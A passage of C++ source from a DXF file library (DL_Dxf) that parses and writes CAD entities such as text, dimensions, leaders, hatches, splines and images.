hatchLoopIndex<maxHatchLoops && hatchEdges[hatchLoopIndex]!=NULL && //hatchEdgeIndex[hatchLoopIndex]>=0 && hatchEdgeIndex[hatchLoopIndex] < maxHatchEdges[hatchLoopIndex] && ((atoi(values[92])&2)==2)) { // a polyline if (groupCode==10 || groupCode==20 || groupCode==42) { std::cout << " found polyline edge data: " << groupCode << "\n"; std::cout << " value: " << toReal(groupValue) << "\n"; static double lastX = 0.0; static double lastY = 0.0; static double lastB = 0.0; if (firstPolylineStatus<2) { switch (groupCode) { case 10: firstPolylineStatus++; if (firstPolylineStatus==1) { lastX = toReal(groupValue); std::cout << " firstX: " << lastX << "\n"; } break; case 20: lastY = toReal(groupValue); std::cout << " firstY: " << lastY << "\n"; break; case 42: lastB = toReal(groupValue); break; default: break; } if (firstPolylineStatus!=2) { return true; } } switch (groupCode) { case 10: hatchEdgeIndex[hatchLoopIndex]++; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].type = 1; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].x1 = lastX; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].x2 = lastX = toReal(groupValue); std::cout << " X: " << lastX << "\n"; break; case 20: hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].y1 = lastY; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].y2 = lastY = toReal(groupValue); std::cout << " Y: " << lastY << "\n"; break; / * case 42: { // convert to arc: double x1 = hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].x1; double y1 = hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].y1; double x2 = hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].x2; double y2 = hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].y2; double bulge = toReal(groupValue); bool reversed = (bulge<0.0); double alpha = atan(bulge)*4.0; double radius; double cx; double cy; double a1; double a2; double mx = (x2+x1)/2.0; double my = (y2+y1)/2.0; double dist = sqrt(pow(x2-x1,2) + pow(y2-y1,2)) / 2.0; // alpha can't be 0.0 at this point radius = fabs(dist / sin(alpha/2.0)); double wu = fabs(pow(radius, 2.0) - pow(dist, 2.0)); double h = sqrt(wu); double angle = acos((x2-x1) / dist); if (bulge>0.0) { angle+=M_PI/2.0; } else { angle-=M_PI/2.0; } if (fabs(alpha)>M_PI) { h*=-1.0; } cx = mx + cos(angle) * h; cy = my + sin(angle) * h; a1 = hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].type = 2; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].ccw = (toReal(groupValue)>0.0); hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].cx = cx; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].cy = cy; hatchEdges[hatchLoopIndex] [hatchEdgeIndex[hatchLoopIndex]].radius = radius; } break; * / default: break; } } else { // end polyline boundary dropEdges = true; } return true; } */ return false; } /** * Adds an text entity that was read from the file via the creation interface. */ void DL_Dxf::addText(DL_CreationInterface* creationInterface) { DL_TextData d( // insertion point toReal(values[10], 0.0), toReal(values[20], 0.0), toReal(values[30], 0.0), // alignment point toReal(values[11], 0.0), toReal(values[21], 0.0), toReal(values[31], 0.0), // height toReal(values[40], 2.5), // x scale toReal(values[41], 1.0), // generation flags toInt(values[71], 0), // h just toInt(values[72], 0), // v just toInt(values[73], 0), // text values[1], // style values[7], // angle (toReal(values[50], 0.0)*2*M_PI)/360.0); creationInterface->addText(d); } /** * Adds an attrib entity that was read from the file via the creation interface. * @todo add attrib instead of normal text */ void DL_Dxf::addAttrib(DL_CreationInterface* creationInterface) { DL_TextData d( // insertion point toReal(values[10], 0.0), toReal(values[20], 0.0), toReal(values[30], 0.0), // alignment point toReal(values[11], 0.0), toReal(values[21], 0.0), toReal(values[31], 0.0), // height toReal(values[40], 2.5), // x scale toReal(values[41], 1.0), // generation flags toInt(values[71], 0), // h just toInt(values[72], 0), // v just toInt(values[74], 0), // text values[1], // style values[7], // angle (toReal(values[50], 0.0)*2*M_PI)/360.0); creationInterface->addText(d); } /** * @return dimension data from current values. */ DL_DimensionData DL_Dxf::getDimData() { // generic dimension data: return DL_DimensionData( // def point toReal(values[10], 0.0), toReal(values[20], 0.0), toReal(values[30], 0.0), // text middle point toReal(values[11], 0.0), toReal(values[21], 0.0), toReal(values[31], 0.0), // type toInt(values[70], 0), // attachment point toInt(values[71], 5), // line sp. style toInt(values[72], 1), // line sp. factor toReal(values[41], 1.0), // text values[1], // style values[3], // angle toReal(values[53], 0.0)); } /** * Adds a linear dimension entity that was read from the file via the creation interface. */ void DL_Dxf::addDimLinear(DL_CreationInterface* creationInterface) { DL_DimensionData d = getDimData(); // horizontal / vertical / rotated dimension: DL_DimLinearData dl( // definition point 1 toReal(values[13], 0.0), toReal(values[23], 0.0), toReal(values[33], 0.0), // definition point 2 toReal(values[14], 0.0), toReal(values[24], 0.0), toReal(values[34], 0.0), // angle toReal(values[50], 0.0), // oblique toReal(values[52], 0.0)); creationInterface->addDimLinear(d, dl); } /** * Adds an aligned dimension entity that was read from the file via the creation interface. */ void DL_Dxf::addDimAligned(DL_CreationInterface* creationInterface) { DL_DimensionData d = getDimData(); // aligned dimension: DL_DimAlignedData da( // extension point 1 toReal(values[13], 0.0), toReal(values[23], 0.0), toReal(values[33], 0.0), // extension point 2 toReal(values[14], 0.0), toReal(values[24], 0.0), toReal(values[34], 0.0)); creationInterface->addDimAlign(d, da); } /** * Adds a radial dimension entity that was read from the file via the creation interface. */ void DL_Dxf::addDimRadial(DL_CreationInterface* creationInterface) { DL_DimensionData d = getDimData(); DL_DimRadialData dr( // definition point toReal(values[15], 0.0), toReal(values[25], 0.0), toReal(values[35], 0.0), // leader length: toReal(values[40], 0.0)); creationInterface->addDimRadial(d, dr); } /** * Adds a diametric dimension entity that was read from the file via the creation interface. */ void DL_Dxf::addDimDiametric(DL_CreationInterface* creationInterface) { DL_DimensionData d = getDimData(); // diametric dimension: DL_DimDiametricData dr( // definition point toReal(values[15], 0.0), toReal(values[25], 0.0), toReal(values[35], 0.0), // leader length: toReal(values[40], 0.0)); creationInterface->addDimDiametric(d, dr); } /** * Adds an angular dimension entity that was read from the file via the creation interface. */ void DL_Dxf::addDimAngular(DL_CreationInterface* creationInterface) { DL_DimensionData d = getDimData(); // angular dimension: DL_DimAngularData da( // definition point 1 toReal(values[13], 0.0), toReal(values[23], 0.0), toReal(values[33], 0.0), // definition point 2 toReal(values[14], 0.0), toReal(values[24], 0.0), toReal(values[34], 0.0), // definition point 3 toReal(values[15], 0.0), toReal(values[25], 0.0), toReal(values[35], 0.0), // definition point 4 toReal(values[16], 0.0), toReal(values[26], 0.0), toReal(values[36], 0.0)); creationInterface->addDimAngular(d, da); } /** * Adds an angular dimension entity that was read from the file via the creation interface. */ void DL_Dxf::addDimAngular3P(DL_CreationInterface* creationInterface) { DL_DimensionData d = getDimData(); // angular dimension (3P): DL_DimAngular3PData da( // definition point 1 toReal(values[13], 0.0), toReal(values[23], 0.0), toReal(values[33], 0.0), // definition point 2 toReal(values[14], 0.0), toReal(values[24], 0.0), toReal(values[34], 0.0), // definition point 3 toReal(values[15], 0.0), toReal(values[25], 0.0), toReal(values[35], 0.0)); creationInterface->addDimAngular3P(d, da); } /** * Adds a leader entity that was read from the file via the creation interface. */ void DL_Dxf::addLeader(DL_CreationInterface* creationInterface) { // leader (arrow) DL_LeaderData le( // arrow head flag toInt(values[71], 1), // leader path type toInt(values[72], 0), // Leader creation flag toInt(values[73], 3), // Hookline direction flag toInt(values[74], 1), // Hookline flag toInt(values[75], 0), // Text annotation height toReal(values[40], 1.0), // Text annotation width toReal(values[41], 1.0), // Number of vertices in leader toInt(values[76], 0) ); creationInterface->addLeader(le); for (int i=0; i<maxLeaderVertices; i++) { DL_LeaderVertexData d(leaderVertices[i*3], leaderVertices[i*3+1], leaderVertices[i*3+2]); creationInterface->addLeaderVertex(d); } } /** * Adds a hatch entity that was read from the file via the creation interface. */ void DL_Dxf::addHatch(DL_CreationInterface* creationInterface) { DL_HatchData hd(toInt(values[91], 1), toInt(values[70], 0), toReal(values[41], 1.0), toReal(values[52], 0.0), values[2]); creationInterface->addHatch(hd); for (int l=0; l<maxHatchLoops; l++) { DL_HatchLoopData ld(maxHatchEdges[l]); creationInterface->addHatchLoop(ld); for (int b=0; b<maxHatchEdges[l]; b++) { creationInterface->addHatchEdge(hatchEdges[l][b]); } } creationInterface->endEntity(); currentEntity = DL_UNKNOWN; } /** * Adds an image entity that was read from the file via the creation interface. */ void DL_Dxf::addImage(DL_CreationInterface* creationInterface) { DL_ImageData id(// pass ref insead of name we don't have yet values[340], // ins point: toReal(values[10], 0.0), toReal(values[20], 0.0), toReal(values[30], 0.0), // u vector: toReal(values[11], 1.0), toReal(values[21], 0.0), toReal(values[31], 0.0), // v vector: toReal(values[12], 0.0), toReal(values[22], 1.0), toReal(values[32], 0.0), // image size (pixel): toInt(values[13], 1), toInt(values[23], 1), // brightness, contrast, fade toInt(values[281], 50), toInt(values[282], 50), toInt(values[283], 0)); creationInterface->addImage(id); creationInterface->endEntity(); currentEntity = DL_UNKNOWN; } /** * Adds an image definition that was read from the file via the creation interface. */ void DL_Dxf::addImageDef(DL_CreationInterface* creationInterface) { DL_ImageDefData id(// handle values[5], values[1]); creationInterface->linkImage(id); creationInterface->endEntity(); currentEntity = DL_UNKNOWN; } /** * Ends some special entities like hatches or old style polylines. */ void DL_Dxf::endEntity(DL_CreationInterface* creationInterface) { creationInterface->endEntity(); } /** * Ends a sequence and notifies the creation interface. */ void DL_Dxf::endSequence(DL_CreationInterface* creationInterface) { creationInterface->endSequence(); } /** * Converts the given string into an int. * ok is set to false if there was an error. */ int DL_Dxf::stringToInt(const char* s, bool* ok) { if (ok!=NULL) { // check string: *ok = true; int i=0; bool dot = false; do { if (s[i]=='\0') { break; } else if (s[i]=='.') { if (dot==true) { //std::cerr << "two dots\n"; *ok = false; } else { dot = true; } } else if (s[i]<'0' || s[i]>'9') { //std::cerr << "NaN: '" << s[i] << "'\n"; *ok = false; } i++; } while(s[i]!='\0' && *ok==true); } return atoi(s); } /** * @brief Opens the given file for writing and returns a pointer * to the dxf writer. This pointer needs to be passed on to other * writing functions. * * @param file Full path of the file to open. * * @return Pointer to an ascii dxf writer object. */ DL_WriterA* DL_Dxf::out(const char* file, DL_Codes::version version) { char* f = new char[strlen(file)+1]; strcpy(f, file); this->version = version; DL_WriterA* dw = new DL_WriterA(f, version); if (dw->openFailed()) { delete dw; return NULL; } else { return dw; } } /** * @brief Writes a DXF header to the file currently opened * by the given DXF writer object. */ void DL_Dxf::writeHeader(DL_WriterA& dw) { dw.comment("dxflib " DL_VERSION); dw.sectionHeader(); dw.dxfString(9, "$ACADVER"); switch (version) { case DL_Codes::AC1009: dw.dxfString(1, "AC1009"); break; case DL_Codes::AC1012: dw.dxfString(1, "AC1012"); break; case DL_Codes::AC1014: dw.dxfString(1, "AC1014"); break; case DL_Codes::AC1015: dw.dxfString(1, "AC1015"); break; } // Newer version require that (otherwise a*cad crashes..) if (version==VER_2000) { dw.dxfString(9, "$HANDSEED"); dw.dxfHex(5, 0xFFFF); } //dw.sectionEnd(); } /** * Writes a point entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writePoint(DL_WriterA& dw, const DL_PointData& data, const DL_Attributes& attrib) { dw.entity("POINT"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbPoint"); } dw.entityAttributes(attrib); dw.coord(POINT_COORD_CODE, data.x, data.y); } /** * Writes a line entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeLine(DL_WriterA& dw, const DL_LineData& data, const DL_Attributes& attrib) { dw.entity("LINE"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbLine"); } dw.entityAttributes(attrib); dw.coord(LINE_START_CODE, data.x1, data.y1); dw.coord(LINE_END_CODE, data.x2, data.y2); } /** * Writes a polyline entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes * @see writeVertex */ void DL_Dxf::writePolyline(DL_WriterA& dw, const DL_PolylineData& data, const DL_Attributes& attrib) { if (version==VER_2000) { dw.entity("LWPOLYLINE"); dw.entityAttributes(attrib); dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbPolyline"); dw.dxfInt(90, (int)data.number); dw.dxfInt(70, data.flags); } else { dw.entity("POLYLINE"); dw.entityAttributes(attrib); polylineLayer = attrib.getLayer(); dw.dxfInt(66, 1); dw.dxfInt(70, data.flags); dw.coord(VERTEX_COORD_CODE, 0.0, 0.0); } } /** * Writes a single vertex of a polyline to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeVertex(DL_WriterA& dw, const DL_VertexData& data) { if (version==VER_2000) { dw.dxfReal(10, data.x); dw.dxfReal(20, data.y); if (fabs(data.bulge)>1.0e-10) { dw.dxfReal(42, data.bulge); } } else { dw.entity("VERTEX"); //dw.entityAttributes(attrib); dw.dxfString(8, polylineLayer); dw.coord(VERTEX_COORD_CODE, data.x, data.y); if (fabs(data.bulge)>1.0e-10) { dw.dxfReal(42, data.bulge); } } } /** * Writes the polyline end. Only needed for DXF R12. */ void DL_Dxf::writePolylineEnd(DL_WriterA& dw) { if (version==VER_2000) { } else { dw.entity("SEQEND"); } } /** * Writes a spline entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes * @see writeControlPoint */ void DL_Dxf::writeSpline(DL_WriterA& dw, const DL_SplineData& data, const DL_Attributes& attrib) { dw.entity("SPLINE"); dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbSpline"); } dw.dxfInt(70, data.flags); dw.dxfInt(71, data.degree); dw.dxfInt(72, data.nKnots); // number of knots dw.dxfInt(73, data.nControl); // number of control points dw.dxfInt(74, 0); // number of fit points } /** * Writes a single control point of a spline to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeControlPoint(DL_WriterA& dw, const DL_ControlPointData& data) { dw.dxfReal(10, data.x); dw.dxfReal(20, data.y); dw.dxfReal(30, data.z); } /** * Writes a single knot of a spline to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeKnot(DL_WriterA& dw, const DL_KnotData& data) { dw.dxfReal(40, data.k); } /** * Writes a circle entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeCircle(DL_WriterA& dw, const DL_CircleData& data, const DL_Attributes& attrib) { dw.entity("CIRCLE"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbCircle"); } dw.entityAttributes(attrib); dw.coord(10, data.cx, data.cy); dw.dxfReal(40, data.radius); } /** * Writes an arc entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeArc(DL_WriterA& dw, const DL_ArcData& data, const DL_Attributes& attrib) { dw.entity("ARC"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbCircle"); } dw.coord(10, data.cx, data.cy); dw.dxfReal(40, data.radius); if (version==VER_2000) { dw.dxfString(100, "AcDbArc"); } dw.dxfReal(50, data.angle1); dw.dxfReal(51, data.angle2); } /** * Writes an ellipse entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeEllipse(DL_WriterA& dw, const DL_EllipseData& data, const DL_Attributes& attrib) { if (version>VER_R12) { dw.entity("ELLIPSE"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbEllipse"); } dw.entityAttributes(attrib); dw.coord(10, data.cx, data.cy); dw.coord(11, data.mx, data.my); dw.dxfReal(40, data.ratio); dw.dxfReal(41, data.angle1); dw.dxfReal(42, data.angle2); } } /** * Writes an insert to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeInsert(DL_WriterA& dw, const DL_InsertData& data, const DL_Attributes& attrib) { if (data.name.empty()) { std::cerr << "DL_Dxf::writeInsert: " << "Block name must not be empty\n"; return; } dw.entity("INSERT"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbBlockReference"); } dw.entityAttributes(attrib); dw.dxfString(2, data.name); dw.dxfReal(10, data.ipx); dw.dxfReal(20, data.ipy); dw.dxfReal(30, 0.0); if (data.sx!=1.0 || data.sy!=1.0) { dw.dxfReal(41, data.sx); dw.dxfReal(42, data.sy); dw.dxfReal(43, 1.0); } if (data.angle!=0.0) { dw.dxfReal(50, data.angle); } if (data.cols!=1 || data.rows!=1) { dw.dxfInt(70, data.cols); dw.dxfInt(71, data.rows); } if (data.colSp!=0.0 || data.rowSp!=0.0) { dw.dxfReal(44, data.colSp); dw.dxfReal(45, data.rowSp); } } /** * Writes a multi text entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeMText(DL_WriterA& dw, const DL_MTextData& data, const DL_Attributes& attrib) { dw.entity("MTEXT"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbMText"); } dw.entityAttributes(attrib); dw.dxfReal(10, data.ipx); dw.dxfReal(20, data.ipy); dw.dxfReal(30, 0.0); dw.dxfReal(40, data.height); dw.dxfReal(41, data.width); dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.drawingDirection); // Creare text chunks of 250 characters each: int length = data.text.length(); char chunk[251]; int i; for (i=250; i<length; i+=250) { strncpy(chunk, &data.text.c_str()[i-250], 250); chunk[250]='\0'; dw.dxfString(3, chunk); } strncpy(chunk, &data.text.c_str()[i-250], 250); chunk[250]='\0'; dw.dxfString(1, chunk); dw.dxfString(7, data.style); // since dxflib 2.0.2.1: degrees not rad (error in autodesk dxf doc) dw.dxfReal(50, data.angle/(2.0*M_PI)*360.0); dw.dxfInt(73, data.lineSpacingStyle); dw.dxfReal(44, data.lineSpacingFactor); } /** * Writes a text entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeText(DL_WriterA& dw, const DL_TextData& data, const DL_Attributes& attrib) { dw.entity("TEXT"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbText"); } dw.entityAttributes(attrib); dw.dxfReal(10, data.ipx); dw.dxfReal(20, data.ipy); dw.dxfReal(30, 0.0); dw.dxfReal(40, data.height); dw.dxfString(1, data.text); dw.dxfReal(50, data.angle/(2*M_PI)*360.0); dw.dxfReal(41, data.xScaleFactor); dw.dxfString(7, data.style); dw.dxfInt(71, data.textGenerationFlags); dw.dxfInt(72, data.hJustification); dw.dxfReal(11, data.apx); dw.dxfReal(21, data.apy); dw.dxfReal(31, 0.0); dw.dxfInt(73, data.vJustification); } /** * Writes an aligned dimension entity to the file. * * @param dw DXF writer * @param data Generic dimension data for from the file * @param data Specific aligned dimension data from the file * @param attrib Attributes */ void DL_Dxf::writeDimAligned(DL_WriterA& dw, const DL_DimensionData& data, const DL_DimAlignedData& edata, const DL_Attributes& attrib) { dw.entity("DIMENSION"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbDimension"); } dw.dxfReal(10, data.dpx); dw.dxfReal(20, data.dpy); dw.dxfReal(30, 0.0); dw.dxfReal(11, data.mpx); dw.dxfReal(21, data.mpy); dw.dxfReal(31, 0.0); dw.dxfInt(70, 1); if (version>VER_R12) { dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.lineSpacingStyle); // opt dw.dxfReal(41, data.lineSpacingFactor); // opt } dw.dxfReal(42, data.angle); dw.dxfString(1, data.text); // opt //dw.dxfString(3, data.style); dw.dxfString(3, "Standard"); if (version==VER_2000) { dw.dxfString(100, "AcDbAlignedDimension"); } dw.dxfReal(13, edata.epx1); dw.dxfReal(23, edata.epy1); dw.dxfReal(33, 0.0); dw.dxfReal(14, edata.epx2); dw.dxfReal(24, edata.epy2); dw.dxfReal(34, 0.0); } /** * Writes a linear dimension entity to the file. * * @param dw DXF writer * @param data Generic dimension data for from the file * @param data Specific linear dimension data from the file * @param attrib Attributes */ void DL_Dxf::writeDimLinear(DL_WriterA& dw, const DL_DimensionData& data, const DL_DimLinearData& edata, const DL_Attributes& attrib) { dw.entity("DIMENSION"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbDimension"); } dw.dxfReal(10, data.dpx); dw.dxfReal(20, data.dpy); dw.dxfReal(30, 0.0); dw.dxfReal(11, data.mpx); dw.dxfReal(21, data.mpy); dw.dxfReal(31, 0.0); dw.dxfInt(70, 0); if (version>VER_R12) { dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.lineSpacingStyle); // opt dw.dxfReal(41, data.lineSpacingFactor); // opt } dw.dxfReal(42, data.angle); dw.dxfString(1, data.text); // opt //dw.dxfString(3, data.style); dw.dxfString(3, "Standard"); if (version==VER_2000) { dw.dxfString(100, "AcDbAlignedDimension"); } dw.dxfReal(13, edata.dpx1); dw.dxfReal(23, edata.dpy1); dw.dxfReal(33, 0.0); dw.dxfReal(14, edata.dpx2); dw.dxfReal(24, edata.dpy2); dw.dxfReal(34, 0.0); dw.dxfReal(50, edata.angle/(2.0*M_PI)*360.0); if (version==VER_2000) { dw.dxfString(100, "AcDbRotatedDimension"); /* dw.dxfString(1001, "ACAD"); dw.dxfString(1000, "DSTYLE"); dw.dxfString(1002, "{"); dw.dxfInt(1070, 340); dw.dxfInt(1005, 11); dw.dxfString(1002, "}"); */ } } /** * Writes a radial dimension entity to the file. * * @param dw DXF writer * @param data Generic dimension data for from the file * @param data Specific radial dimension data from the file * @param attrib Attributes */ void DL_Dxf::writeDimRadial(DL_WriterA& dw, const DL_DimensionData& data, const DL_DimRadialData& edata, const DL_Attributes& attrib) { dw.entity("DIMENSION"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbDimension"); } dw.dxfReal(10, data.dpx); dw.dxfReal(20, data.dpy); dw.dxfReal(30, 0.0); dw.dxfReal(11, data.mpx); dw.dxfReal(21, data.mpy); dw.dxfReal(31, 0.0); dw.dxfInt(70, 4); if (version>VER_R12) { dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.lineSpacingStyle); // opt dw.dxfReal(41, data.lineSpacingFactor); // opt } dw.dxfReal(42, data.angle); dw.dxfString(1, data.text); // opt //dw.dxfString(3, data.style); dw.dxfString(3, "Standard"); if (version==VER_2000) { dw.dxfString(100, "AcDbRadialDimension"); } dw.dxfReal(15, edata.dpx); dw.dxfReal(25, edata.dpy); dw.dxfReal(35, 0.0); dw.dxfReal(40, edata.leader); } /** * Writes a diametric dimension entity to the file. * * @param dw DXF writer * @param data Generic dimension data for from the file * @param data Specific diametric dimension data from the file * @param attrib Attributes */ void DL_Dxf::writeDimDiametric(DL_WriterA& dw, const DL_DimensionData& data, const DL_DimDiametricData& edata, const DL_Attributes& attrib) { dw.entity("DIMENSION"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbDimension"); } dw.dxfReal(10, data.dpx); dw.dxfReal(20, data.dpy); dw.dxfReal(30, 0.0); dw.dxfReal(11, data.mpx); dw.dxfReal(21, data.mpy); dw.dxfReal(31, 0.0); dw.dxfInt(70, 3); if (version>VER_R12) { dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.lineSpacingStyle); // opt dw.dxfReal(41, data.lineSpacingFactor); // opt } dw.dxfReal(42, data.angle); dw.dxfString(1, data.text); // opt //dw.dxfString(3, data.style); dw.dxfString(3, "Standard"); if (version==VER_2000) { dw.dxfString(100, "AcDbDiametricDimension"); } dw.dxfReal(15, edata.dpx); dw.dxfReal(25, edata.dpy); dw.dxfReal(35, 0.0); dw.dxfReal(40, edata.leader); } /** * Writes an angular dimension entity to the file. * * @param dw DXF writer * @param data Generic dimension data for from the file * @param data Specific angular dimension data from the file * @param attrib Attributes */ void DL_Dxf::writeDimAngular(DL_WriterA& dw, const DL_DimensionData& data, const DL_DimAngularData& edata, const DL_Attributes& attrib) { dw.entity("DIMENSION"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbDimension"); } dw.dxfReal(10, data.dpx); dw.dxfReal(20, data.dpy); dw.dxfReal(30, 0.0); dw.dxfReal(11, data.mpx); dw.dxfReal(21, data.mpy); dw.dxfReal(31, 0.0); dw.dxfInt(70, 2); if (version>VER_R12) { dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.lineSpacingStyle); // opt dw.dxfReal(41, data.lineSpacingFactor); // opt } dw.dxfReal(42, data.angle); dw.dxfString(1, data.text); // opt //dw.dxfString(3, data.style); dw.dxfString(3, "Standard"); if (version==VER_2000) { dw.dxfString(100, "AcDb2LineAngularDimension"); } dw.dxfReal(13, edata.dpx1); dw.dxfReal(23, edata.dpy1); dw.dxfReal(33, 0.0); dw.dxfReal(14, edata.dpx2); dw.dxfReal(24, edata.dpy2); dw.dxfReal(34, 0.0); dw.dxfReal(15, edata.dpx3); dw.dxfReal(25, edata.dpy3); dw.dxfReal(35, 0.0); dw.dxfReal(16, edata.dpx4); dw.dxfReal(26, edata.dpy4); dw.dxfReal(36, 0.0); } /** * Writes an angular dimension entity (3 points version) to the file. * * @param dw DXF writer * @param data Generic dimension data for from the file * @param data Specific angular dimension data from the file * @param attrib Attributes */ void DL_Dxf::writeDimAngular3P(DL_WriterA& dw, const DL_DimensionData& data, const DL_DimAngular3PData& edata, const DL_Attributes& attrib) { dw.entity("DIMENSION"); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); } dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbDimension"); } dw.dxfReal(10, data.dpx); dw.dxfReal(20, data.dpy); dw.dxfReal(30, 0.0); dw.dxfReal(11, data.mpx); dw.dxfReal(21, data.mpy); dw.dxfReal(31, 0.0); dw.dxfInt(70, 5); if (version>VER_R12) { dw.dxfInt(71, data.attachmentPoint); dw.dxfInt(72, data.lineSpacingStyle); // opt dw.dxfReal(41, data.lineSpacingFactor); // opt } dw.dxfReal(42, data.angle); dw.dxfString(1, data.text); // opt //dw.dxfString(3, data.style); dw.dxfString(3, "Standard"); if (version==VER_2000) { dw.dxfString(100, "AcDb3PointAngularDimension"); } dw.dxfReal(13, edata.dpx1); dw.dxfReal(23, edata.dpy1); dw.dxfReal(33, 0.0); dw.dxfReal(14, edata.dpx2); dw.dxfReal(24, edata.dpy2); dw.dxfReal(34, 0.0); dw.dxfReal(15, edata.dpx3); dw.dxfReal(25, edata.dpy3); dw.dxfReal(35, 0.0); } /** * Writes a leader entity to the file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes * @see writeVertex */ void DL_Dxf::writeLeader(DL_WriterA& dw, const DL_LeaderData& data, const DL_Attributes& attrib) { if (version>VER_R12) { dw.entity("LEADER"); dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbLeader"); } dw.dxfString(3, "Standard"); dw.dxfInt(71, data.arrowHeadFlag); dw.dxfInt(72, data.leaderPathType); dw.dxfInt(73, data.leaderCreationFlag); dw.dxfInt(74, data.hooklineDirectionFlag); dw.dxfInt(75, data.hooklineFlag); dw.dxfReal(40, data.textAnnotationHeight); dw.dxfReal(41, data.textAnnotationWidth); dw.dxfInt(76, data.number); } } /** * Writes a single vertex of a leader to the file. * * @param dw DXF writer * @param data Entity data */ void DL_Dxf::writeLeaderVertex(DL_WriterA& dw, const DL_LeaderVertexData& data) { if (version>VER_R12) { dw.dxfReal(10, data.x); dw.dxfReal(20, data.y); } } /** * Writes the beginning of a hatch entity to the file. * This must be followed by one or more writeHatchLoop() * calls and a writeHatch2() call. * * @param dw DXF writer * @param data Entity data. * @param attrib Attributes */ void DL_Dxf::writeHatch1(DL_WriterA& dw, const DL_HatchData& data, const DL_Attributes& attrib) { dw.entity("HATCH"); dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbHatch"); } dw.dxfReal(10, 0.0); // elevation dw.dxfReal(20, 0.0); dw.dxfReal(30, 0.0); dw.dxfReal(210, 0.0); // extrusion dir. dw.dxfReal(220, 0.0); dw.dxfReal(230, 1.0); if (data.solid==false) { dw.dxfString(2, data.pattern); } else { dw.dxfString(2, "SOLID"); } dw.dxfInt(70, (int)data.solid); dw.dxfInt(71, 0); // associative dw.dxfInt(91, data.numLoops); } /** * Writes the end of a hatch entity to the file. * * @param dw DXF writer * @param data Entity data. * @param attrib Attributes */ void DL_Dxf::writeHatch2(DL_WriterA& dw, const DL_HatchData& data, const DL_Attributes& /*attrib*/) { dw.dxfInt(75, 0); // odd parity dw.dxfInt(76, 1); // pattern type if (data.solid==false) { dw.dxfReal(52, data.angle); dw.dxfReal(41, data.scale); dw.dxfInt(77, 0); // not double //dw.dxfInt(78, 